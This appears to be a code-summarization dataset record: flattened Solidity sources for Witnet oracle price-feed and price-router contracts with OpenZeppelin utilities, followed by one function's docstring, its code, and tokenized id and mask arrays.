/// Tell if a Witnet.Result is errored.
/// @param _result An instance of Witnet.Result.
/// @return `true` if errored, `false` if successful.
function isError(Witnet.Result memory _result) external pure returns (bool);
/// Decode a bytes value from a Witnet.Result as a `bytes` value.
/// @param _result An instance of Witnet.Result.
/// @return The `bytes` decoded from the Witnet.Result.
function asBytes(Witnet.Result memory _result) external pure returns (bytes memory);
/// Decode a bytes value from a Witnet.Result as a `bytes32` value.
/// @param _result An instance of Witnet.Result.
/// @return The `bytes32` decoded from the Witnet.Result.
function asBytes32(Witnet.Result memory _result) external pure returns (bytes32);
/// Decode an error code from a Witnet.Result as a member of `Witnet.ErrorCodes`.
/// @param _result An instance of `Witnet.Result`.
/// @return The `CBORValue.Error memory` decoded from the Witnet.Result.
function asErrorCode(Witnet.Result memory _result) external pure returns (Witnet.ErrorCodes);
/// Generate a suitable error message for a member of `Witnet.ErrorCodes` and its corresponding arguments.
/// @dev WARN: Note that client contracts should wrap this function into a try-catch foreseing potential errors generated in this function
/// @param _result An instance of `Witnet.Result`.
/// @return A tuple containing the `CBORValue.Error memory` decoded from the `Witnet.Result`, plus a loggable error message.
function asErrorMessage(Witnet.Result memory _result) external pure returns (Witnet.ErrorCodes, string memory);
/// Decode a raw error from a `Witnet.Result` as a `uint64[]`.
/// @param _result An instance of `Witnet.Result`.
/// @return The `uint64[]` raw error as decoded from the `Witnet.Result`.
function asRawError(Witnet.Result memory _result) external pure returns(uint64[] memory);
/// Decode a boolean value from a Witnet.Result as an `bool` value.
/// @param _result An instance of Witnet.Result.
/// @return The `bool` decoded from the Witnet.Result.
function asBool(Witnet.Result memory _result) external pure returns (bool);
/// Decode a fixed16 (half-precision) numeric value from a Witnet.Result as an `int32` value.
/// @dev Due to the lack of support for floating or fixed point arithmetic in the EVM, this method offsets all values.
/// by 5 decimal orders so as to get a fixed precision of 5 decimal positions, which should be OK for most `fixed16`.
/// use cases. In other words, the output of this method is 10,000 times the actual value, encoded into an `int32`.
/// @param _result An instance of Witnet.Result.
/// @return The `int128` decoded from the Witnet.Result.
function asFixed16(Witnet.Result memory _result) external pure returns (int32);
/// Decode an array of fixed16 values from a Witnet.Result as an `int128[]` value.
/// @param _result An instance of Witnet.Result.
/// @return The `int128[]` decoded from the Witnet.Result.
function asFixed16Array(Witnet.Result memory _result) external pure returns (int32[] memory);
/// Decode a integer numeric value from a Witnet.Result as an `int128` value.
/// @param _result An instance of Witnet.Result.
/// @return The `int128` decoded from the Witnet.Result.
function asInt128(Witnet.Result memory _result) external pure returns (int128);
/// Decode an array of integer numeric values from a Witnet.Result as an `int128[]` value.
/// @param _result An instance of Witnet.Result.
/// @return The `int128[]` decoded from the Witnet.Result.
function asInt128Array(Witnet.Result memory _result) external pure returns (int128[] memory);
/// Decode a string value from a Witnet.Result as a `string` value.
/// @param _result An instance of Witnet.Result.
/// @return The `string` decoded from the Witnet.Result.
function asString(Witnet.Result memory _result) external pure returns (string memory);
/// Decode an array of string values from a Witnet.Result as a `string[]` value.
/// @param _result An instance of Witnet.Result.
/// @return The `string[]` decoded from the Witnet.Result.
function asStringArray(Witnet.Result memory _result) external pure returns (string[] memory);
/// Decode a natural numeric value from a Witnet.Result as a `uint64` value.
/// @param _result An instance of Witnet.Result.
/// @return The `uint64` decoded from the Witnet.Result.
function asUint64(Witnet.Result memory _result) external pure returns(uint64);
/// Decode an array of natural numeric values from a Witnet.Result as a `uint64[]` value.
/// @param _result An instance of Witnet.Result.
/// @return The `uint64[]` decoded from the Witnet.Result.
function asUint64Array(Witnet.Result memory _result) external pure returns (uint64[] memory);
}
// File: node_modules\witnet-solidity-bridge\contracts\WitnetRequestBoard.sol
/// @title Witnet Request Board functionality base contract.
/// @author The Witnet Foundation.
abstract contract WitnetRequestBoard is
IWitnetRequestBoardEvents,
IWitnetRequestBoardReporter,
IWitnetRequestBoardRequestor,
IWitnetRequestBoardView,
IWitnetRequestParser
{
receive() external payable {
revert("WitnetRequestBoard: no transfers accepted");
}
}
// File: witnet-solidity-bridge\contracts\UsingWitnet.sol
/// @title The UsingWitnet contract
/// @dev Witnet-aware contracts can inherit from this contract in order to interact with Witnet.
/// @author The Witnet Foundation.
abstract contract UsingWitnet {
WitnetRequestBoard public immutable witnet;
/// Include an address to specify the WitnetRequestBoard entry point address.
/// @param _wrb The WitnetRequestBoard entry point address.
constructor(WitnetRequestBoard _wrb)
{
require(address(_wrb) != address(0), "UsingWitnet: zero address");
witnet = _wrb;
}
/// Provides a convenient way for client contracts extending this to block the execution of the main logic of the
/// contract until a particular request has been successfully solved and reported by Witnet.
modifier witnetRequestSolved(uint256 _id) {
require(
_witnetCheckResultAvailability(_id),
"UsingWitnet: request not solved"
);
_;
}
/// Check if a data request has been solved and reported by Witnet.
/// @dev Contracts depending on Witnet should not start their main business logic (e.g. receiving value from third.
/// parties) before this method returns `true`.
/// @param _id The unique identifier of a previously posted data request.
/// @return A boolean telling if the request has been already resolved or not. Returns `false` also, if the result was deleted.
function _witnetCheckResultAvailability(uint256 _id)
internal view
virtual
returns (bool)
{
return witnet.getQueryStatus(_id) == Witnet.QueryStatus.Reported;
}
/// Estimate the reward amount.
/// @param _gasPrice The gas price for which we want to retrieve the estimation.
/// @return The reward to be included when either posting a new request, or upgrading the reward of a previously posted one.
function _witnetEstimateReward(uint256 _gasPrice)
internal view
virtual
returns (uint256)
{
return witnet.estimateReward(_gasPrice);
}
/// Estimates the reward amount, considering current transaction gas price.
/// @return The reward to be included when either posting a new request, or upgrading the reward of a previously posted one.
function _witnetEstimateReward()
internal view
virtual
returns (uint256)
{
return witnet.estimateReward(tx.gasprice);
}
/// Send a new request to the Witnet network with transaction value as a reward.
/// @param _request An instance of `IWitnetRequest` contract.
/// @return _id Sequential identifier for the request included in the WitnetRequestBoard.
/// @return _reward Current reward amount escrowed by the WRB until a result gets reported.
function _witnetPostRequest(IWitnetRequest _request)
internal
virtual
returns (uint256 _id, uint256 _reward)
{
_reward = _witnetEstimateReward();
_id = witnet.postRequest{value: _reward}(_request);
}
/// Upgrade the reward for a previously posted request.
/// @dev Call to `upgradeReward` function in the WitnetRequestBoard contract.
/// @param _id The unique identifier of a request that has been previously sent to the WitnetRequestBoard.
/// @return Amount in which the reward has been increased.
function _witnetUpgradeReward(uint256 _id)
internal
virtual
returns (uint256)
{
uint256 _currentReward = witnet.readRequestReward(_id);
uint256 _newReward = _witnetEstimateReward();
uint256 _fundsToAdd = 0;
if (_newReward > _currentReward) {
_fundsToAdd = (_newReward - _currentReward);
}
witnet.upgradeReward{value: _fundsToAdd}(_id); // Let Request.gasPrice be updated
return _fundsToAdd;
}
/// Read the Witnet-provided result to a previously posted request.
/// @param _id The unique identifier of a request that was posted to Witnet.
/// @return The result of the request as an instance of `Witnet.Result`.
function _witnetReadResult(uint256 _id)
internal view
virtual
returns (Witnet.Result memory)
{
return witnet.readResponseResult(_id);
}
/// Retrieves copy of all response data related to a previously posted request, removing the whole query from storage.
/// @param _id The unique identifier of a previously posted request.
/// @return The Witnet-provided result to the request.
function _witnetDeleteQuery(uint256 _id)
internal
virtual
returns (Witnet.Response memory)
{
return witnet.deleteQuery(_id);
}
}
// File: node_modules\witnet-solidity-bridge\contracts\requests\WitnetRequestBase.sol
abstract contract WitnetRequestBase
is
IWitnetRequest
{
/// Contains a well-formed Witnet Data Request, encoded using Protocol Buffers.
bytes public override bytecode;
/// Returns SHA256 hash of Witnet Data Request as CBOR-encoded bytes.
bytes32 public override hash;
}
// File: witnet-solidity-bridge\contracts\requests\WitnetRequest.sol
contract WitnetRequest
is
WitnetRequestBase
{
using Witnet for bytes;
constructor(bytes memory _bytecode) {
bytecode = _bytecode;
hash = _bytecode.hash();
}
}
// File: ado-contracts\contracts\interfaces\IERC2362.sol
/**
* @dev EIP2362 Interface for pull oracles
* https://github.com/adoracles/EIPs/blob/erc-2362/EIPS/eip-2362.md
*/
interface IERC2362
{
/**
* @dev Exposed function pertaining to EIP standards
* @param _id bytes32 ID of the query
* @return int,uint,uint returns the value, timestamp, and status code of query
*/
function valueFor(bytes32 _id) external view returns(int256,uint256,uint256);
}
// File: node_modules\witnet-solidity-bridge\contracts\interfaces\IERC165.sol
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: node_modules\witnet-solidity-bridge\contracts\interfaces\IWitnetPriceRouter.sol
/// @title The Witnet Price Router basic interface.
/// @dev Guides implementation of price feeds aggregation contracts.
/// @author The Witnet Foundation.
abstract contract IWitnetPriceRouter
is
IERC2362
{
/// Emitted everytime a currency pair is attached to a new price feed contract
/// @dev See https://github.com/adoracles/ADOIPs/blob/main/adoip-0010.md
/// @dev to learn how these ids are created.
event CurrencyPairSet(bytes32 indexed erc2362ID, IERC165 pricefeed);
/// Helper pure function: returns hash of the provided ERC2362-compliant currency pair caption (aka ID).
function currencyPairId(string memory) external pure virtual returns (bytes32);
/// Returns the ERC-165-compliant price feed contract currently serving
/// updates on the given currency pair.
function getPriceFeed(bytes32 _erc2362id) external view virtual returns (IERC165);
/// Returns human-readable ERC2362-based caption of the currency pair being
/// served by the given price feed contract address.
/// @dev Should fail if the given price feed contract address is not currently
/// @dev registered in the router.
function getPriceFeedCaption(IERC165) external view virtual returns (string memory);
/// Returns human-readable caption of the ERC2362-based currency pair identifier, if known.
function lookupERC2362ID(bytes32 _erc2362id) external view virtual returns (string memory);
/// Register a price feed contract that will serve updates for the given currency pair.
/// @dev Setting zero address to a currency pair implies that it will not be served any longer.
/// @dev Otherwise, should fail if the price feed contract does not support the `IWitnetPriceFeed` interface,
/// @dev or if given price feed is already serving another currency pair (within this WitnetPriceRouter instance).
function setPriceFeed(
IERC165 _pricefeed,
uint256 _decimals,
string calldata _base,
string calldata _quote
)
external virtual;
/// Returns list of known currency pairs IDs.
function supportedCurrencyPairs() external view virtual returns (bytes32[] memory);
/// Returns `true` if given pair is currently being served by a compliant price feed contract.
function supportsCurrencyPair(bytes32 _erc2362id) external view virtual returns (bool);
/// Returns `true` if given price feed contract is currently serving updates to any known currency pair.
function supportsPriceFeed(IERC165 _priceFeed) external view virtual returns (bool);
}
// File: node_modules\@openzeppelin\contracts\utils\Context.sol
// OpenZeppelin Contracts v4.4.0 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin\contracts\access\Ownable.sol
// OpenZeppelin Contracts v4.4.0 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: node_modules\witnet-solidity-bridge\contracts\interfaces\IWitnetPriceFeed.sol
/// @title The Witnet Price Feed basic interface.
/// @dev Guides implementation of active price feed polling contracts.
/// @author The Witnet Foundation.
interface IWitnetPriceFeed {
/// Signals that a new price update request is being posted to the Witnet Request Board
event PriceFeeding(address indexed from, uint256 queryId, uint256 extraFee);
/// Estimates minimum fee amount in native currency to be paid when
/// requesting a new price update.
/// @dev Actual fee depends on the gas price of the `requestUpdate()` transaction.
/// @param _gasPrice Gas price expected to be paid when calling `requestUpdate()`
function estimateUpdateFee(uint256 _gasPrice) external view returns (uint256);
/// Returns result of the last valid price update request successfully solved by the Witnet oracle.
function lastPrice() external view returns (int256);
/// Returns the EVM-timestamp when last valid price was reported back from the Witnet oracle.
function lastTimestamp() external view returns (uint256);
/// Returns tuple containing last valid price and timestamp, as well as status code of latest update
/// request that got posted to the Witnet Request Board.
/// @return _lastPrice Last valid price reported back from the Witnet oracle.
/// @return _lastTimestamp EVM-timestamp of the last valid price.
/// @return _lastDrTxHash Hash of the Witnet Data Request that solved the last valid price.
/// @return _latestUpdateStatus Status code of the latest update request.
function lastValue() external view returns (
int _lastPrice,
uint _lastTimestamp,
bytes32 _lastDrTxHash,
uint _latestUpdateStatus
);
/// Returns identifier of the latest update request posted to the Witnet Request Board.
function latestQueryId() external view returns (uint256);
/// Returns hash of the Witnet Data Request that solved the latest update request.
/// @dev Returning 0 while the latest update request remains unsolved.
function latestUpdateDrTxHash() external view returns (bytes32);
/// Returns error message of latest update request posted to the Witnet Request Board.
/// @dev Returning empty string if the latest update request remains unsolved, or
/// @dev if it was succesfully solved with no errors.
function latestUpdateErrorMessage() external view returns (string memory);
/// Returns status code of latest update request posted to the Witnet Request Board:
/// @dev Status codes:
/// @dev - 200: update request was succesfully solved with no errors
/// @dev - 400: update request was solved with errors
/// @dev - 404: update request was not solved yet
function latestUpdateStatus() external view returns (uint256);
/// Returns `true` if latest update request posted to the Witnet Request Board
/// has not been solved yet by the Witnet oracle.
function pendingUpdate() external view returns (bool);
/// Posts a new price update request to the Witnet Request Board. Requires payment of a fee
/// that depends on the value of `tx.gasprice`. See `estimateUpdateFee(uint256)`.
/// @dev If previous update request was not solved yet, calling this method again allows
/// @dev upgrading the update fee if called with a higher `tx.gasprice` value.
function requestUpdate() external payable;
/// Tells whether this contract implements the interface defined by `interfaceId`.
/// @dev See the corresponding https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
/// @dev to learn more about how these ids are created.
function supportsInterface(bytes4) external view returns (bool);
}
// File: @openzeppelin\contracts\utils\Strings.sol
// OpenZeppelin Contracts v4.4.0 (utils/Strings.sol)
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: witnet-solidity-bridge\contracts\examples\WitnetPriceRouter.sol
contract WitnetPriceRouter
is
IWitnetPriceRouter,
Ownable
{
using Strings for uint256;
struct Pair {
IERC165 pricefeed;
uint256 decimals;
string base;
string quote;
}
mapping (bytes32 => Pair) internal __pairs;
mapping (address => bytes32) internal __pricefeedId_;
bytes32[] internal __supportedCurrencyPairs;
// ========================================================================
// --- Implementation of 'IERC2362' ---------------------------------------
/// Returns last valid price value and timestamp, as well as status of
/// the latest update request that got posted to the Witnet Request Board.
/// @dev Fails if the given currency pair is not currently supported.
/// @param _erc2362id Price pair identifier as specified in https://github.com/adoracles/ADOIPs/blob/main/adoip-0010.md
/// @return _lastPrice Last valid price reported back from the Witnet oracle.
/// @return _lastTimestamp EVM-timestamp of the last valid price.
/// @return _latestUpdateStatus Status code of latest update request that got posted to the Witnet Request Board:
/// - 200: latest update request was succesfully solved with no errors
/// - 400: latest update request was solved with errors
/// - 404: latest update request is still pending to be solved
function valueFor(bytes32 _erc2362id)
external view
virtual override
returns (
int256 _lastPrice,
uint256 _lastTimestamp,
uint256 _latestUpdateStatus
)
{
IWitnetPriceFeed _pricefeed = IWitnetPriceFeed(address(getPriceFeed(_erc2362id)));
require(address(_pricefeed) != address(0), "WitnetPriceRouter: unsupported currency pair");
(_lastPrice, _lastTimestamp,, _latestUpdateStatus) = _pricefeed.lastValue();
}
// ========================================================================
// --- Implementation of 'IWitnetPriceRouter' ---------------------------
/// Helper pure function: returns hash of the provided ERC2362-compliant currency pair caption (aka ID).
function currencyPairId(string memory _caption)
public pure
virtual override
returns (bytes32)
{
return keccak256(bytes(_caption));
}
/// Returns the ERC-165-compliant price feed contract currently serving
/// updates on the given currency pair.
function getPriceFeed(bytes32 _erc2362id)
public view
virtual override
returns (IERC165)
{
return __pairs[_erc2362id].pricefeed;
}
/// Returns human-readable ERC2362-based caption of the currency pair being
/// served by the given price feed contract address.
/// @dev Fails if the given price feed contract address is not currently
/// @dev registered in the router.
function getPriceFeedCaption(IERC165 _pricefeed)
public view
virtual override
returns (string memory)
{
require(supportsPriceFeed(_pricefeed), "WitnetPriceRouter: unknown");
return lookupERC2362ID(__pricefeedId_[address(_pricefeed)]);
}
/// Returns human-readable caption of the ERC2362-based currency pair identifier, if known.
function lookupERC2362ID(bytes32 _erc2362id)
public view
virtual override
returns (string memory _caption)
{
Pair storage _pair = __pairs[_erc2362id];
if (
bytes(_pair.base).length > 0
&& bytes(_pair.quote).length > 0
) {
_caption = string(abi.encodePacked(
"Price-",
_pair.base,
"/",
_pair.quote,
"-",
_pair.decimals.toString()
));
}
}
/// Register a price feed contract that will serve updates for the given currency pair.
/// @dev Setting zero address to a currency pair implies that it will not be served any longer.
/// @dev Otherwise, fails if the price feed contract does not support the `IWitnetPriceFeed` interface,
/// @dev or if given price feed is already serving another currency pair (within this WitnetPriceRouter instance).
function setPriceFeed(
IERC165 _pricefeed,
uint256 _decimals,
string calldata _base,
string calldata _quote
)
public
virtual override
onlyOwner
{
if (address(_pricefeed) != address(0)) {
require(
_pricefeed.supportsInterface(type(IWitnetPriceFeed).interfaceId),
"WitnetPriceRouter: feed contract is not compliant with IWitnetPriceFeed"
);
require(
__pricefeedId_[address(_pricefeed)] == bytes32(0),
"WitnetPriceRouter: already serving a currency pair"
);
}
bytes memory _caption = abi.encodePacked(
"Price-",
bytes(_base),
"/",
bytes(_quote),
"-",
_decimals.toString()
);
bytes32 _erc2362id = keccak256(_caption);
Pair storage _record = __pairs[_erc2362id];
address _currentPriceFeed = address(_record.pricefeed);
if (bytes(_record.base).length == 0) {
_record.base = _base;
_record.quote = _quote;
_record.decimals = _decimals;
__supportedCurrencyPairs.push(_erc2362id);
}
else if (_currentPriceFeed != address(0)) {
__pricefeedId_[_currentPriceFeed] = bytes32(0);
}
if (address(_pricefeed) != _currentPriceFeed) {
__pricefeedId_[address(_pricefeed)] = _erc2362id;
}
_record.pricefeed = _pricefeed;
emit CurrencyPairSet(_erc2362id, _pricefeed);
}
/// Returns list of known currency pairs IDs.
function supportedCurrencyPairs()
external view
virtual override
returns (bytes32[] memory)
{
return __supportedCurrencyPairs;
}
/// Returns `true` if given pair is currently being served by a compliant price feed contract.
function supportsCurrencyPair(bytes32 _erc2362id)
public view
virtual override
returns (bool)
{
return address(__pairs[_erc2362id].pricefeed) != address(0);
}
/// Returns `true` if given price feed contract is currently serving updates to any known currency pair.
function supportsPriceFeed(IERC165 _pricefeed)
public view
virtual override
returns (bool)
{
return __pairs[__pricefeedId_[address(_pricefeed)]].pricefeed == _pricefeed;
}
}
// File: contracts\WitnetPriceFeed.sol
// Your contract needs to inherit from UsingWitnet
contract WitnetPriceFeed
is
IWitnetPriceFeed,
UsingWitnet,
WitnetRequest
{
using Witnet for bytes;
/// Stores the ID of the last price update posted to the Witnet Request Board.
uint256 public override latestQueryId;
/// Stores the ID of the last price update succesfully solved by the WRB.
uint256 internal __lastValidQueryId;
/// Constructor.
/// @param _witnetRequestBoard WitnetRequestBoard entrypoint address.
/// @param _witnetRequestBytecode Raw bytecode of Witnet Data Request to be used on every update request.
constructor (
WitnetRequestBoard _witnetRequestBoard,
bytes memory _witnetRequestBytecode
)
UsingWitnet(_witnetRequestBoard)
WitnetRequest(_witnetRequestBytecode)
{}
/// Estimates minimum fee amount in native currency to be paid when
/// requesting a new price update.
/// @dev Actual fee depends on the gas price of the `requestUpdate()` transaction.
/// @param _gasPrice Gas price expected to be paid when calling `requestUpdate()`
function estimateUpdateFee(uint256 _gasPrice)
external view
virtual override
returns (uint256)
{
return witnet.estimateReward(_gasPrice);
}
/// Returns result of the last valid price update request successfully solved by the Witnet oracle.
function lastPrice()
public view
virtual override
returns (int256 _lastPrice)
{
Witnet.Result memory _result;
uint _latestQueryId = latestQueryId;
if (
_latestQueryId > 0
&& _witnetCheckResultAvailability(_latestQueryId)
) {
_result = witnet.readResponseResult(_latestQueryId);
if (_result.success) {
return int256(int64(witnet.asUint64(_result)));
}
}
if (__lastValidQueryId > 0) {
_result = witnet.readResponseResult(__lastValidQueryId);
return int256(int64(witnet.asUint64(_result)));
}
}
/// Returns the EVM-timestamp when last valid price was reported back from the Witnet oracle.
function lastTimestamp()
public view
virtual override
returns (uint256 _lastTimestamp)
{
Witnet.Result memory _result;
Witnet.Response memory _response;
uint _latestQueryId = latestQueryId;
if (
_latestQueryId > 0
&& _witnetCheckResultAvailability(_latestQueryId)
) {
_response = witnet.readResponse(_latestQueryId);
_result = witnet.resultFromCborBytes(_response.cborBytes);
if (_result.success) {
return _response.timestamp;
}
}
if (__lastValidQueryId > 0) {
_response = witnet.readResponse(__lastValidQueryId);
return _response.timestamp;
}
}
/// Returns tuple containing last valid price and timestamp, as well as status code of latest update
/// request that got posted to the Witnet Request Board.
/// @return _lastPrice Last valid price reported back from the Witnet oracle.
/// @return _lastTimestamp EVM-timestamp of the last valid price.
/// @return _lastDrTxHash Hash of the Witnet Data Request that solved the last valid price.
/// @return _latestUpdateStatus Status code of the latest update request.
function lastValue()
external view
virtual override
returns (
int _lastPrice,
uint _lastTimestamp,
bytes32 _lastDrTxHash,
uint _latestUpdateStatus
)
{
uint _latestQueryId = latestQueryId;
if (_latestQueryId > 0) {
bool _completed = _witnetCheckResultAvailability(_latestQueryId);
if (_completed) {
Witnet.Response memory _latestResponse = witnet.readResponse(_latestQueryId);
Witnet.Result memory _latestResult = witnet.resultFromCborBytes(_latestResponse.cborBytes);
if (_latestResult.success) {
return (
int256(int64(witnet.asUint64(_latestResult))),
_latestResponse.timestamp,
_latestResponse.drTxHash,
200
);
}
}
if (__lastValidQueryId > 0) {
Witnet.Response memory _lastValidResponse = witnet.readResponse(__lastValidQueryId);
Witnet.Result memory _lastValidResult = witnet.resultFromCborBytes(_lastValidResponse.cborBytes);
return (
int256(int64(witnet.asUint64(_lastValidResult))),
_lastValidResponse.timestamp,
_lastValidResponse.drTxHash,
_completed ? 400 : 404
);
}
}
return (0, 0, 0, 404);
}
/// Returns identifier of the latest update request posted to the Witnet Request Board.
/// @dev Returning 0 while the latest update request remains unsolved.
function latestUpdateDrTxHash()
external view
virtual override
returns (bytes32)
{
uint256 _latestQueryId = latestQueryId;
if (_latestQueryId > 0) {
if (_witnetCheckResultAvailability(_latestQueryId)) {
return witnet.readResponseDrTxHash(_latestQueryId);
}
}
return bytes32(0);
}
/// Returns error message of latest update request posted to the Witnet Request Board.
/// @dev Returning empty string if the latest update request remains unsolved, or
/// @dev if it was succesfully solved with no errors.
function latestUpdateErrorMessage()
external view
virtual override
returns (string memory _errorMessage)
{
uint256 _latestQueryId = latestQueryId;
if (_latestQueryId > 0) {
if (_witnetCheckResultAvailability(_latestQueryId)) {
Witnet.Result memory _latestResult = witnet.readResponseResult(_latestQueryId);
if (_latestResult.success == false) {
(, _errorMessage) = witnet.asErrorMessage(_latestResult);
}
}
}
}
/// Returns status code of latest update request posted to the Witnet Request Board:
/// @dev Status codes:
/// @dev - 200: update request was succesfully solved with no errors
/// @dev - 400: update request was solved with errors
/// @dev - 404: update request was not solved yet
function latestUpdateStatus()
public view
virtual override
returns (uint256)
{
uint _latestQueryId = latestQueryId;
if (_latestQueryId > 0) {
if (_witnetCheckResultAvailability(_latestQueryId)) {
Witnet.Result memory _result = witnet.readResponseResult(_latestQueryId);
return (
_result.success
? 200 // OK
: 400 // Bad result
);
} else {
return 404; // not yet solved;
}
}
return 200;
}
/// Returns `true` if latest update request posted to the Witnet Request Board
/// has not been solved yet by the Witnet oracle.
function pendingUpdate()
public view
virtual override
returns (bool)
{
return (
latestQueryId != 0
&& !_witnetCheckResultAvailability(latestQueryId)
);
}
/// Posts a new price update request to the Witnet Request Board. Requires payment of a fee
/// that depends on the value of `tx.gasprice`. See `estimateUpdateFee(uint256)`.
/// @dev If previous update request was not solved yet, calling this method again allows
/// @dev upgrading the update fee if called with a higher `tx.gasprice` value.
function requestUpdate()
public payable
virtual override
{
uint _usedFunds;
uint _latestQueryId = latestQueryId;
uint _latestUpdateStatus = latestUpdateStatus();
if (_latestUpdateStatus == 404) {
// latest update is still pending, so just raise upgrade reward,
// accordingly to current tx gasprice:
_usedFunds = _witnetUpgradeReward(_latestQueryId);
} else {
// Check if latest update ended successfully:
if (_latestUpdateStatus == 200) {
// If so, remove previous last valid valid query from the WRB:
if (__lastValidQueryId > 0) {
_witnetDeleteQuery(__lastValidQueryId);
}
__lastValidQueryId = _latestQueryId;
}
// Post update request to the WRB:
(_latestQueryId, _usedFunds) = _witnetPostRequest(this);
// Update latest query id:
latestQueryId = _latestQueryId;
}
// Transfer back unused funds:
payable(msg.sender).transfer(msg.value - _usedFunds);
if (_usedFunds > 0) {
emit PriceFeeding(msg.sender, _latestQueryId, _usedFunds);
}
}
/// Tells whether this contract implements the interface defined by `interfaceId`.
/// @dev See the corresponding https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
/// @dev to learn more about how these ids are created.
function supportsInterface(bytes4 _interfaceId)
public view
virtual override
returns (bool)
{
return (
_interfaceId == type(IERC165).interfaceId
|| _interfaceId == type(IWitnetPriceFeed).interfaceId
);
}
} | Returns `true` if given pair is currently being served by a compliant price feed contract. | function supportsCurrencyPair(bytes32 _erc2362id)
public view
virtual override
returns (bool)
{
return address(__pairs[_erc2362id].pricefeed) != address(0);
}
| 1,303,491 | [
1,
1356,
1375,
3767,
68,
309,
864,
3082,
353,
4551,
3832,
30722,
635,
279,
24820,
6205,
4746,
6835,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
